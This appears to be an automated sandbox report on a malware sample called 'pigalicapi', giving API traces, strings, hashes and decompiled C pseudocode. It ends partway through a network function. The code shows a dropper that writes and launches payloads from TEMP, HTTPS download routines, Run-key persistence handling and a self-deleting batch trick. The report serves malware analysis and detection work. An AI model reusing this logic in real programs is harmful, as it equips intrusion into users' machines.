0x00ec75c8
0x00ec75ce
0x00ec75ce
0x00ec75d4
0x00ec75de
0x00ec75f1
0x00ec75f3
0x00ec75f3
0x00ec75fd
0x00ec7628
0x00ec7636
0x00ec7643
0x00ec7643
0x00ec7652
0x00ec7656
0x00ec765b
0x00ec765b
0x00ec766f
0x00ec7698
0x00ec76aa
0x00ec76c6
0x00ec76cc
0x00ec76d9
0x00ec76df
0x00ec770e
0x00ec773f
0x00ec7747
0x00ec775a
0x00ec7762
0x00ec7794
0x00ec779d
0x00ec779d
0x00ec77a5
0x00ec77a5
0x00ec77ae

APIs

Sleep.KERNEL32(000003E8), ref: 00EC74E4
GetModuleFileNameA.KERNEL32(00000000,?,00000207), ref: 00EC7503
GetAllUsersProfileDirectoryA.USERENV(?,00000207), ref: 00EC752E
lstrcatA.KERNEL32(?,00ECC650), ref: 00EC7559
lstrcatA.KERNEL32(?,pigalicapi), ref: 00EC756B
lstrcatA.KERNEL32(?,.exe), ref: 00EC757D
SetFileAttributesA.KERNEL32(?,00000080), ref: 00EC758F
wnsprintfA.SHLWAPI ref: 00EC75B4
TerminateThread.KERNEL32(00000238,00000001), ref: 00EC75CE
RegOpenKeyExA.ADVAPI32(80000001,00ECC690,00000000,00000002,00000000), ref: 00EC7620
RegDeleteValueA.ADVAPI32(00000000,pigalicapi), ref: 00EC7636
RegCloseKey.ADVAPI32(00000000), ref: 00EC7643
GetEnvironmentVariableA.KERNEL32(TEMP,?,00000104), ref: 00EC766F
GetTickCount.KERNEL32 ref: 00EC767C
GetTempFileNameA.KERNEL32(?,slf,00000000), ref: 00EC7698
lstrcatA.KERNEL32(?,.bat), ref: 00EC76AA
CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000000,00000000), ref: 00EC76C6
lstrlenA.KERNEL32(?,00000000,00000000), ref: 00EC76F9
WriteFile.KERNEL32(000000FF,?,00000000), ref: 00EC770E
CloseHandle.KERNEL32(000000FF), ref: 00EC771B
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 00EC778C
CloseHandle.KERNEL32(?), ref: 00EC779D
ExitProcess.KERNEL32 ref: 00EC77A5

Strings

TEMP, xrefs: 00EC766A
software\microsoft\windows\currentversion\run, xrefs: 00EC75D4
pigalicapi, xrefs: 00EC755F, 00EC762A
.exe, xrefs: 00EC7571
:repeatdel %sif exist %s goto :repeatdel %%0, xrefs: 00EC75A3
D, xrefs: 00EC7747
USERPROFILE, xrefs: 00EC7542
.bat, xrefs: 00EC769E
slf, xrefs: 00EC768C

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: File$lstrcat$Close$CreateHandleNameProcess$AttributesCountDeleteDirectoryEnvironmentExitModuleOpenProfileSleepTempTerminateThreadTickUsersValueVariableWritelstrlenwnsprintf
String ID: .bat$.exe$:repeatdel %sif exist %s goto :repeatdel %%0$D$TEMP$USERPROFILE$pigalicapi$slf$software\microsoft\windows\currentversion\run
API String ID: 3221898725-1842671280
Opcode ID: 7c254d95468b8894205cbea27cb94d89969c63a55af2531d6f4c03e8bdcbd10e
Instruction ID: 4be157d8f0eb9c8c4970bcfdd36fa12f9be5dfb7c73895e4a10eeee86ab03e52
Opcode Fuzzy Hash: 7c254d95468b8894205cbea27cb94d89969c63a55af2531d6f4c03e8bdcbd10e
Instruction Fuzzy Hash: 7471A7B1941318AFEB20DB61DD4AFEA7778AB48704F14519CF20DB50D1DBB25A8ACF50

Uniqueness

Uniqueness Score: -1.00%

Function 00EC6DA0 Relevance: 33.6, APIs: 18, Strings: 1, Instructions: 354
memoryfilesleepCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E00EC6DA0(intOrPtr* _a4) {
				intOrPtr* _v8;
				signed int _v12;
				intOrPtr _v16;
				signed int _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				void* _v36;
				struct _SECURITY_ATTRIBUTES* _v40;
				long _v44;
				void* _v48;
				void* _v52;
				void* _v56;
				char _v324;
				void* _v328;
				char _v340;
				char _v604;
				long _v608;
				int _v612;
				long _v616;
				void* _v620;
				long _v624;
				intOrPtr _v628;
				void* _v632;
				intOrPtr _t198;
				struct _SECURITY_ATTRIBUTES* _t217;
				void* _t223;
				struct _SECURITY_ATTRIBUTES* _t248;
				void* _t347;
				void* _t349;
				void* _t350;

				_v8 = _a4;
				if(_v8 == 0) {
					L39:
					return 0;
				}
				Sleep( *(_v8 + 0x14) * 0x3c * 0x3e8);
				__imp__CoInitialize(0);
				_v32 =  *_v8;
				_v28 =  *((intOrPtr*)(_v8 + 4));
				_v24 =  *((intOrPtr*)(_v8 + 8));
				_v12 =  *(_v8 + 0x14);
				_v20 =  *(_v8 + 0xc);
				_v16 =  *((intOrPtr*)(_v8 + 0x10));
				if(( *(_v8 + 0xc) & 0x00000001) == 0) {
					GetEnvironmentVariableA("TEMP",  &_v604, 0x104);
					E00EC7D20( &_v340,  &_v340, 0, 0xa);
					E00EC9730( &_v340, 4);
					_t349 = _t347 + 0x14;
					GetTempFileNameA( &_v604,  &_v340, GetTickCount() % 0xffff,  &_v324);
					_v328 = CreateFileA( &_v324, 0x40000000, 1, 0, 2, 0, 0);
					if(_v328 != 0xffffffff) {
						_v608 = 0;
						_v612 = 0;
						_v616 =  *(_v8 + 0x1c);
						if(( *(_v8 + 0xc) & 0x00000010) == 0) {
							_v612 = WriteFile(_v328,  *(_v8 + 0x18),  *(_v8 + 0x1c),  &_v608, 0);
						} else {
							_v624 =  *((intOrPtr*)( *(_v8 + 0x1c) +  *(_v8 + 0x18) - 4));
							_v620 = VirtualAlloc(0, _v624, 0x3000, 4);
							if(_v620 != 0) {
								if(E00EC6260(_v8,  *(_v8 + 0x18),  *(_v8 + 0x1c), _v620, _v624) == _v624) {
									_v612 = WriteFile(_v328, _v620, _v624,  &_v608, 0);
									_v616 = _v624;
								}
								VirtualFree(_v620, 0, 0x8000);
							}
						}
						CloseHandle(_v328);
						if(_v612 != 0 && _v608 == _v616) {
							_t198 = E00EC1E60( &_v324);
							_t350 = _t349 + 4;
							_v628 = _t198;
							if(_v628 != 0) {
								if( *((intOrPtr*)(_v8 + 0x10)) != 0) {
									E00EC73C0( &_v32,  *(_v8 + 0x18),  *(_v8 + 0x1c));
									_t350 = _t350 + 0xc;
								}
								if(( *(_v8 + 0xc) & 0x00000004) != 0) {
									E00EC2510(_v628, 0xece290);
								}
							}
						}
					}
					L38:
					__imp__CoUninitialize();
					goto L39;
				}
				_v40 = 0;
				_v36 = 0;
				_v44 = 0;
				if(( *(_v8 + 0xc) & 0x00000010) == 0) {
					_t217 = E00EC2070( *(_v8 + 0x18));
					_t347 = _t347 + 4;
					_v40 = _t217;
				} else {
					_v44 =  *((intOrPtr*)( *(_v8 + 0x1c) +  *(_v8 + 0x18) - 4));
					_v48 = VirtualAlloc(0, _v44, 0x3000, 4);
					if(_v48 != 0) {
						if(E00EC6260( *(_v8 + 0x1c),  *(_v8 + 0x18),  *(_v8 + 0x1c), _v48, _v44) == _v44) {
							_t248 = E00EC2070(_v48);
							_t347 = _t347 + 4;
							_v40 = _t248;
							if(( *(_v8 + 0xc) & 0x00000008) != 0) {
								_v36 = VirtualAlloc(0, _v44, 0x3000, 4);
								E00EC7B70(_v36, _v48, _v44);
								_t347 = _t347 + 0xc;
							}
						}
						VirtualFree(_v48, 0, 0x8000);
					}
				}
				if(_v40 == 0) {
					L22:
					goto L38;
				} else {
					if( *((intOrPtr*)(_v8 + 0x10)) != 0) {
						E00EC73C0( &_v32,  *(_v8 + 0x18),  *(_v8 + 0x1c));
						_t347 = _t347 + 0xc;
					}
					if(( *(_v8 + 0xc) & 0x00000008) != 0) {
						_t223 = E00EC97A0(0x10);
						_t347 = _t347 + 4;
						_v632 = _t223;
						_v52 = _v632;
						if(( *(_v8 + 0xc) & 0x00000010) == 0) {
							 *_v52 = VirtualAlloc(0,  *(_v8 + 0x1c), 0x3000, 4);
							if( *_v52 != 0) {
								E00EC7B70( *_v52,  *(_v8 + 0x18),  *(_v8 + 0x1c));
								_t347 = _t347 + 0xc;
								 *(_v52 + 4) =  *(_v8 + 0x1c);
							}
						} else {
							 *_v52 = _v36;
							 *(_v52 + 4) = _v44;
						}
						if( *_v52 != 0) {
							 *(_v52 + 8) =  *(_v8 + 0xc);
							 *((intOrPtr*)(_v52 + 0xc)) = _v40;
							_v56 = CreateThread(0, 0, E00EC77B0, _v52, 0, 0);
							CloseHandle(_v56);
						}
					}
					if(( *(_v8 + 0xc) & 0x00000004) != 0) {
						E00EC2510(_v40, 0xece290);
					}
					goto L22;
				}
			}

0x00ec6dac
0x00ec6db3
0x00ec723f
0x00ec7244
0x00ec7244
0x00ec6dc9
0x00ec6dd1
0x00ec6ddc
0x00ec6de5
0x00ec6dee
0x00ec6df7
0x00ec6e00
0x00ec6e09
0x00ec6e15
0x00ec7028
0x00ec7039
0x00ec704a
0x00ec704f
0x00ec7077
0x00ec7099
0x00ec70a6
0x00ec70ac
0x00ec70b6
0x00ec70c6
0x00ec70d5
0x00ec71af
0x00ec70db
0x00ec70eb
0x00ec7107
0x00ec7114
0x00ec713d
0x00ec7163
0x00ec716f
0x00ec716f
0x00ec7183
0x00ec7183
0x00ec7189
0x00ec71bc
0x00ec71c9
0x00ec71e0
0x00ec71e5
0x00ec71e8
0x00ec71f5
0x00ec71fe
0x00ec7212
0x00ec7217
0x00ec7217
0x00ec7223
0x00ec7231
0x00ec7236
0x00ec7223
0x00ec71f5
0x00ec71c9
0x00ec7239
0x00ec7239
0x00000000
0x00ec7239
0x00ec6e1b
0x00ec6e22
0x00ec6e29
0x00ec6e39
0x00ec6eec
0x00ec6ef1
0x00ec6ef4
0x00ec6e3f
0x00ec6e4f
0x00ec6e65
0x00ec6e6c
0x00ec6e8c
0x00ec6e92
0x00ec6e97
0x00ec6e9a
0x00ec6ea6
0x00ec6ebb
0x00ec6eca
0x00ec6ecf
0x00ec6ecf
0x00ec6ea6
0x00ec6edd
0x00ec6edd
0x00ec6ee3
0x00ec6efb
0x00ec7012
0x00000000
0x00ec6f01
0x00ec6f08
0x00ec6f1c
0x00ec6f21
0x00ec6f21
0x00ec6f2d
0x00ec6f35
0x00ec6f3a
0x00ec6f3d
0x00ec6f49
0x00ec6f55
0x00ec6f83
0x00ec6f8b
0x00ec6fa1
0x00ec6fa6
0x00ec6fb2
0x00ec6fb2
0x00ec6f57
0x00ec6f5d
0x00ec6f65
0x00ec6f65
0x00ec6fbb
0x00ec6fc6
0x00ec6fcf
0x00ec6fe9
0x00ec6ff0
0x00ec6ff0
0x00ec6fbb
0x00ec6fff
0x00ec700a
0x00ec700f
0x00000000
0x00ec6fff

APIs

Sleep.KERNEL32(?), ref: 00EC6DC9
CoInitialize.OLE32(00000000), ref: 00EC6DD1
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 00EC6E5F
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004,00000000), ref: 00EC6EB5
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,00000000,00000000), ref: 00EC6EDD
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 00EC6F7A
CreateThread.KERNEL32 ref: 00EC6FE3
CloseHandle.KERNEL32(?), ref: 00EC6FF0
GetEnvironmentVariableA.KERNEL32(TEMP,?,00000104), ref: 00EC7028
GetTickCount.KERNEL32 ref: 00EC7059
GetTempFileNameA.KERNEL32(?,?,00000000), ref: 00EC7077
CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000000,00000000), ref: 00EC7093
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 00EC7101
WriteFile.KERNEL32(000000FF,00000000,?,00000000,00000000,?,?,00000000,?), ref: 00EC715D
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,00000000,?), ref: 00EC7183
WriteFile.KERNEL32(000000FF,?,?,00000000,00000000), ref: 00EC71A9
CloseHandle.KERNEL32(000000FF), ref: 00EC71BC
CoUninitialize.OLE32 ref: 00EC7239

Strings

TEMP, xrefs: 00EC7023

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFile$CloseCreateFreeHandleWrite$CountEnvironmentInitializeNameSleepTempThreadTickUninitializeVariable
String ID: TEMP
API String ID: 3110491842-1036413054
Opcode ID: ba7ef9b781f52c85d1e7e7dd91eca4bbdc6ba9a9be0a27f73d293efe039f5396
Instruction ID: da46eddfafa3a955a49aa8e49bd80b191b7d49990fb08444f26cc10029e1b1e5
Opcode Fuzzy Hash: ba7ef9b781f52c85d1e7e7dd91eca4bbdc6ba9a9be0a27f73d293efe039f5396
Instruction Fuzzy Hash: F5F12DB5A00208EFDB18CF94D995F9EB7B5BB48304F248198E509BB391D732AE42DF50

Uniqueness

Uniqueness Score: -1.00%

Function 00EC2900 Relevance: 29.9, APIs: 13, Strings: 4, Instructions: 133
networkfilestringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00EC2900(char* _a4, intOrPtr _a8, intOrPtr _a12) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				long _v24;
				CHAR* _v28;
				char _v292;
				void _v296;
				void* _v300;
				long _v304;
				long _v308;
				char* _t54;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0 && _a12 != 0) {
					_t54 = E00ECE004; // 0xecc398
					_v12 = InternetOpenA(_t54, 1, 0, 0, 0);
					if(_v12 != 0) {
						_v16 = InternetConnectA(_v12, _a4, 0x1bb, 0xecc3d2, 0xecc3d1, 3, 0, 0);
						if(_v16 != 0) {
							_v20 = HttpOpenRequestA(_v16, "GET", "/", "1.1", 0, 0, 0x80800000, 0);
							if(_v20 != 0) {
								wsprintfA( &_v292, "https://%s", _a4);
								_v28 = "Accept: */*";
								_v24 = 4;
								InternetQueryOptionA(_v20, 0x1f,  &_v296,  &_v24);
								_v296 = _v296 | 0x0000b180;
								InternetSetOptionA(_v20, 0x1f,  &_v296, 4);
								if(HttpSendRequestA(_v20, _v28, lstrlenA(_v28), 0, 0) == 0) {
									_v308 = GetLastError();
								} else {
									_v300 = 0;
									while(_v300 < _a12) {
										_v304 = 0;
										InternetReadFile(_v20, _a8 + _v300, _a12 - _v300,  &_v304);
										if(_v304 != 0) {
											_v300 = _v300 + _v304;
											 *(_a8 + _v300) = 0;
											continue;
										} else {
										}
										break;
									}
									_v8 = _v300;
								}
								InternetCloseHandle(_v20);
							}
							InternetCloseHandle(_v16);
						}
						InternetCloseHandle(_v12);
					}
				}
				return _v8;
			}

0x00ec2909
0x00ec2914
0x00ec2936
0x00ec2942
0x00ec2949
0x00ec2972
0x00ec2979
0x00ec29a3
0x00ec29aa
0x00ec29c0
0x00ec29c9
0x00ec29d0
0x00ec29e8
0x00ec29f9
0x00ec2a0e
0x00ec2a33
0x00ec2ab5
0x00ec2a35
0x00ec2a35
0x00ec2a3f
0x00ec2a4a
0x00ec2a73
0x00ec2a80
0x00ec2a90
0x00ec2a9f
0x00000000
0x00000000
0x00ec2a82
0x00000000
0x00ec2a80
0x00ec2aaa
0x00ec2aaa
0x00ec2acb
0x00ec2acb
0x00ec2ad5
0x00ec2ad5
0x00ec2adf
0x00ec2adf
0x00ec2949
0x00ec2aeb

APIs

InternetOpenA.WININET(00ECC398,00000001,00000000,00000000,00000000), ref: 00EC293C
InternetConnectA.WININET(00000000,00000000,000001BB,00ECC3D2,00ECC3D1,00000003,00000000,00000000), ref: 00EC296C
HttpOpenRequestA.WININET(00000000,GET,00ECC3D8,1.1,00000000,00000000,80800000,00000000), ref: 00EC299D
wsprintfA.USER32 ref: 00EC29C0
InternetQueryOptionA.WININET(00000000,0000001F,?,00000004), ref: 00EC29E8
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00EC2A0E
lstrlenA.KERNEL32(Accept: */*,00000000,00000000), ref: 00EC2A1C
HttpSendRequestA.WININET(00000000,Accept: */*,00000000), ref: 00EC2A2B
InternetReadFile.WININET(00000000,00000000,00000000,00000000), ref: 00EC2A73
GetLastError.KERNEL32 ref: 00EC2AAF
InternetCloseHandle.WININET(00000000), ref: 00EC2ACB
InternetCloseHandle.WININET(00000000), ref: 00EC2AD5
InternetCloseHandle.WININET(00000000), ref: 00EC2ADF

Strings

1.1, xrefs: 00EC298A
https://%s, xrefs: 00EC29B4
Accept: */*, xrefs: 00EC29C9, 00EC2A1B, 00EC2A26
GET, xrefs: 00EC2994

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenOptionRequest$ConnectErrorFileLastQueryReadSendlstrlenwsprintf
String ID: 1.1$Accept: */*$GET$https://%s
API String ID: 2082764430-47765423
Opcode ID: 87b5797d52ace0c90ef831f7b8f5d1692c77a80e91359cc94c291b188afdef9f
Instruction ID: 543661d296579d6c15ff7391f1999618522b3f8b88759d9d6c8e576556303943
Opcode Fuzzy Hash: 87b5797d52ace0c90ef831f7b8f5d1692c77a80e91359cc94c291b188afdef9f
Instruction Fuzzy Hash: 2B513B70940218AFDB20CF95DD89FEEB7B4AB48704F24809CE609B7280C7B19A96CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00EC35E0 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 184
stringfilememoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00EC35E0(CHAR* _a4, intOrPtr _a8) {
				long _v8;
				struct HINSTANCE__* _v12;
				char _v532;
				void* _v536;
				long _v540;
				void* _v544;
				long _v548;
				CHAR* _v552;
				void* _v556;
				int _v560;
				char _v820;
				CHAR* _v824;
				char _v1084;
				signed char _v1085;
				long _v1092;
				intOrPtr _v1096;
				long _t124;

				_v8 = 0;
				_v12 = GetModuleHandleA(_a4);
				if(_v12 != 0) {
					E00EC2E50( &_v532,  &_v532, 0, 0x208);
					if(GetModuleFileNameA(_v12,  &_v532, 0x207) > 0) {
						_v536 = CreateFileA( &_v532, 0x80000000, 7, 0, 3, 0, 0);
						if(_v536 != 0xffffffff) {
							_v540 = GetFileSize(_v536, 0);
							if(_v540 > 0) {
								_v544 = VirtualAlloc(0, _v540, 0x3000, 4);
								_t155 = _v544;
								if(_v544 != 0) {
									_v548 = 0;
									ReadFile(_v536, _v544, _v540,  &_v548, 0);
									_v556 = E00EC3370(_v536, _t155, _v544, _v540);
									_v552 = E00EC3580(_a8, _v556, _a8);
									_v560 = lstrlenA(_v552);
									if(_v560 > 2 && _v560 < 0x100) {
										_v824 = _v552;
										_v1085 = 0;
										E00EC2E50(_v552,  &_v820, 0, 0x100);
										E00EC2E50(_v552,  &_v1084, 0, 0x100);
										_v1092 = 0;
										while(_v1092 < _v560) {
											if(_v824[_v1092] < 0x20 || _v824[_v1092] > 0x7e) {
											} else {
												if(_v824[_v1092] != 0x2e) {
													_t124 = _v1092 + 1;
													__eflags = _t124;
													_v1092 = _t124;
													continue;
												} else {
													lstrcpynA( &_v820, _v824, _v1092 + 1);
													lstrcatA( &_v820, ".dll");
													lstrcpyA( &_v1084,  &(_v824[_v1092 + 1]));
													_v1085 = 1;
												}
											}
											break;
										}
										if((_v1085 & 0x000000ff) != 0) {
											_v8 = E00EC35E0( &_v820,  &_v1084);
										}
									}
									if(_v8 == 0 && _v552 != 0) {
										_v1096 = _v552 - _v556;
										_v8 = _v12 + _v1096;
									}
									VirtualFree(_v556, 0, 0x8000);
									VirtualFree(_v544, 0, 0x8000);
								}
							}
							CloseHandle(_v536);
						}
					}
				}
				return _v8;
			}

0x00ec35e9
0x00ec35fa
0x00ec3601
0x00ec3615
0x00ec3635
0x00ec3657
0x00ec3664
0x00ec3679
0x00ec3686
0x00ec36a2
0x00ec36a8
0x00ec36af
0x00ec36b5
0x00ec36dd
0x00ec36f9
0x00ec3712
0x00ec3725
0x00ec3732
0x00ec374e
0x00ec3754
0x00ec3769
0x00ec377f
0x00ec3787
0x00ec37a2
0x00ec37c6
0x00ec37e0
0x00ec37f2
0x00ec3799
0x00ec3799
0x00ec379c
0x00000000
0x00ec37f4
0x00ec380c
0x00ec381e
0x00ec383c
0x00ec3842
0x00ec3842
0x00ec37f2
0x00000000
0x00ec37c6
0x00ec385d
0x00ec3875
0x00ec3875
0x00ec385d
0x00ec387c
0x00ec3893
0x00ec38a2
0x00ec38a2
0x00ec38b3
0x00ec38c7
0x00ec38c7
0x00ec36af
0x00ec38d4
0x00ec38d4
0x00ec3664
0x00ec3635
0x00ec38e0

APIs

GetModuleHandleA.KERNEL32(?), ref: 00EC35F4
GetModuleFileNameA.KERNEL32(00000000,?,00000207), ref: 00EC362D
CreateFileA.KERNEL32(?,80000000,00000007,00000000,00000003,00000000,00000000), ref: 00EC3651
GetFileSize.KERNEL32(000000FF,00000000), ref: 00EC3673
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 00EC369C
ReadFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 00EC36DD
lstrlenA.KERNEL32(?), ref: 00EC371F
lstrcpynA.KERNEL32(?,?,-00000001), ref: 00EC380C
lstrcatA.KERNEL32(?,.dll), ref: 00EC381E
lstrcpyA.KERNEL32(?,?), ref: 00EC383C
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00EC38B3
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 00EC38C7
CloseHandle.KERNEL32(000000FF), ref: 00EC38D4

Strings

.dll, xrefs: 00EC3812

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: File$Virtual$FreeHandleModule$AllocCloseCreateNameReadSizelstrcatlstrcpylstrcpynlstrlen
String ID: .dll
API String ID: 4040249471-2738580789
Opcode ID: 237c1d52547824e3b33be101ad14095dfab214b85a7741421196000d20618922
Instruction ID: ce6e7ba8f19877a8d1aa1d0f12abf6f50adbc1e9348168ad85ca28aad8bf6d01
Opcode Fuzzy Hash: 237c1d52547824e3b33be101ad14095dfab214b85a7741421196000d20618922
Instruction Fuzzy Hash: 638158B1D40228AFDB24DBA0DD89FD9B7B9AB18304F1081DCF20DB6280D6759B86CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00EC2AF0 Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 201
networkmemoryfileCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E00EC2AF0(char* _a4, intOrPtr _a8, long _a12, signed char _a16) {
				long _v8;
				char _v84;
				void* _v88;
				signed int _v92;
				long _v96;
				void _v100;
				void _v356;
				long _v360;
				long _v364;
				intOrPtr _v368;
				void* _v372;
				long _v376;
				void* _v380;
				signed char _v381;
				long _v388;
				long _v392;
				void* _v396;
				char _v652;
				long _v656;
				long _v660;
				void* _t139;
				void* _t140;
				void* _t142;
				long _t149;

				_v8 = 0;
				if( *0xed3b80 == 0 || _a4 == 0 || _a8 == 0 || _a12 == 0) {
					L25:
					return _v8;
				} else {
					memcpy( &_v84, "Accept: */*\r\nAccept-Language: en\r\nAccept-Encoding: gzip, deflate\r\n", 0x10 << 2);
					asm("movsw");
					asm("movsb");
					_v92 = 0x80000200;
					if((_a16 & 0x000000ff) != 0) {
						_v92 = _v92 | 0x00803000;
						_v96 = 4;
						_t139 =  *0xed3b80; // 0x0
						InternetQueryOptionA(_t139, 0x1f,  &_v100,  &_v96);
						_v100 = _v100 | 0x00000100;
						_t140 =  *0xed3b80; // 0x0
						InternetSetOptionA(_t140, 0x1f,  &_v100, 4);
					}
					_t142 =  *0xed3b80; // 0x0
					_v88 = InternetOpenUrlA(_t142, _a4,  &_v84, 0x42, _v92, 0);
					if(_v88 == 0) {
						_v660 = GetLastError();
						goto L25;
					} else {
						_v360 = 0x100;
						E00EC7D20( &_v356,  &_v356, 0, 0x100);
						_v364 = 0;
						if(HttpQueryInfoA(_v88, 0x13,  &_v356,  &_v360,  &_v364) == 0) {
							L23:
							InternetCloseHandle(_v88);
							goto L25;
						}
						_v368 = E00EC7DD0( &_v356);
						if(_v368 != 0xc8) {
							goto L23;
						}
						_v372 = VirtualAlloc(0, _a12, 0x3000, 4);
						if(_v372 == 0) {
							goto L23;
						}
						_v388 = 0;
						_v376 = 0;
						_v380 = _v372;
						while(1) {
							InternetReadFile(_v88, _v380, _a12,  &_v376);
							if(_v376 == 0) {
								break;
							}
							_v388 = _v388 + _v376;
							_v380 = _v380 + _v376;
							_t149 = _a12 - _v376;
							_a12 = _t149;
							if(_t149 >= 0) {
								continue;
							}
							L16:
							_v8 = _v388;
							_v396 = _v372;
							_v392 = 0x100;
							E00EC7D20(_v388,  &_v652, 0, 0x100);
							_v381 = 0;
							if(HttpQueryInfoA(_v88, 0x1d,  &_v652,  &_v392,  &_v364) != 0 && lstrcmpiA( &_v652, "gzip") == 0) {
								_v656 = E00EC2E00(_v388, _v372, _v388, _a8, _a12);
								if(_v656 > 0) {
									_v8 = _v656;
									_v396 = _a8;
									_v381 = 1;
								}
							}
							if((_v381 & 0x000000ff) == 0) {
								E00EC7B70(_a8, _v372, _v8);
							}
							VirtualFree(_v372, 0, 0x8000);
							goto L23;
						}
						goto L16;
					}
				}
			}

0x00ec2afb
0x00ec2b09
0x00ec2df2
0x00ec2dfa
0x00ec2b2d
0x00ec2b3a
0x00ec2b3c
0x00ec2b3e
0x00ec2b3f
0x00ec2b4c
0x00ec2b57
0x00ec2b5a
0x00ec2b6b
0x00ec2b72
0x00ec2b81
0x00ec2b8c
0x00ec2b93
0x00ec2b93
0x00ec2ba9
0x00ec2bb6
0x00ec2bbd
0x00ec2de0
0x00000000
0x00ec2bc3
0x00ec2bc3
0x00ec2bdb
0x00ec2be3
0x00ec2c10
0x00ec2dce
0x00ec2dd2
0x00000000
0x00ec2dd2
0x00ec2c25
0x00ec2c35
0x00000000
0x00000000
0x00ec2c4e
0x00ec2c5b
0x00000000
0x00000000
0x00ec2c61
0x00ec2c6b
0x00ec2c7b
0x00ec2c81
0x00ec2c97
0x00ec2ca4
0x00000000
0x00000000
0x00ec2cb4
0x00ec2cc6
0x00ec2ccf
0x00ec2cd5
0x00ec2cd8
0x00000000
0x00ec2cdc
0x00ec2cde
0x00ec2ce4
0x00ec2ced
0x00ec2cf3
0x00ec2d0b
0x00ec2d13
0x00ec2d3d
0x00ec2d70
0x00ec2d7d
0x00ec2d85
0x00ec2d8b
0x00ec2d91
0x00ec2d91
0x00ec2d7d
0x00ec2da1
0x00ec2db2
0x00ec2db7
0x00ec2dc8
0x00000000
0x00ec2dc8
0x00000000
0x00ec2ca6
0x00ec2bbd

APIs

InternetQueryOptionA.WININET(00000000,0000001F,?,00000004), ref: 00EC2B72
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00EC2B93
InternetOpenUrlA.WININET(00000000,00000000,?,00000042,80000200,00000000), ref: 00EC2BB0
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00EC2C08
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 00EC2C48
InternetReadFile.WININET(00000000,?,00000000,00000000), ref: 00EC2C97
HttpQueryInfoA.WININET(00000000,0000001D,?,00000100,00000000), ref: 00EC2D35
lstrcmpiA.KERNEL32(?,gzip), ref: 00EC2D4B
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 00EC2DC8
InternetCloseHandle.WININET(00000000), ref: 00EC2DD2
GetLastError.KERNEL32 ref: 00EC2DDA

Strings

gzip, xrefs: 00EC2D3F
Accept: */*Accept-Language: enAccept-Encoding: gzip, deflate, xrefs: 00EC2B32

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: Internet$Query$HttpInfoOptionVirtual$AllocCloseErrorFileFreeHandleLastOpenReadlstrcmpi
String ID: Accept: */*Accept-Language: enAccept-Encoding: gzip, deflate$gzip
API String ID: 2564233093-2863726208
Opcode ID: 98786d1c341d719d3b741061c802dab10559ba04320c72d42030afcdb26172ca
Instruction ID: 7747cf72243e60bf3beef16d57822decac46d99663792cba81c7c937a22c4a6e
Opcode Fuzzy Hash: 98786d1c341d719d3b741061c802dab10559ba04320c72d42030afcdb26172ca
Instruction Fuzzy Hash: 88911A71904218AFDB25CFA5CD48FEAB7B5BB48304F14819DE609BB280DB765A89CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00ECA090 Relevance: 10.6, APIs: 7, Instructions: 85
networkCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E00ECA090(signed int __eax, intOrPtr _a4, signed short _a8, intOrPtr _a12, char _a16) {
				signed char _v8;
				short _v12;
				signed char _v13;
				signed int _v20;
				intOrPtr _v32;
				short _v34;
				char _v36;
				intOrPtr _v40;
				char _v44;
				signed int _t40;
				char* _t42;

				_push(6);
				_push(1);
				_push(2);
				L00ECB210();
				_v20 = __eax;
				if(_v20 != 0xffffffff) {
					_v36 = 2;
					_push(_a8 & 0x0000ffff);
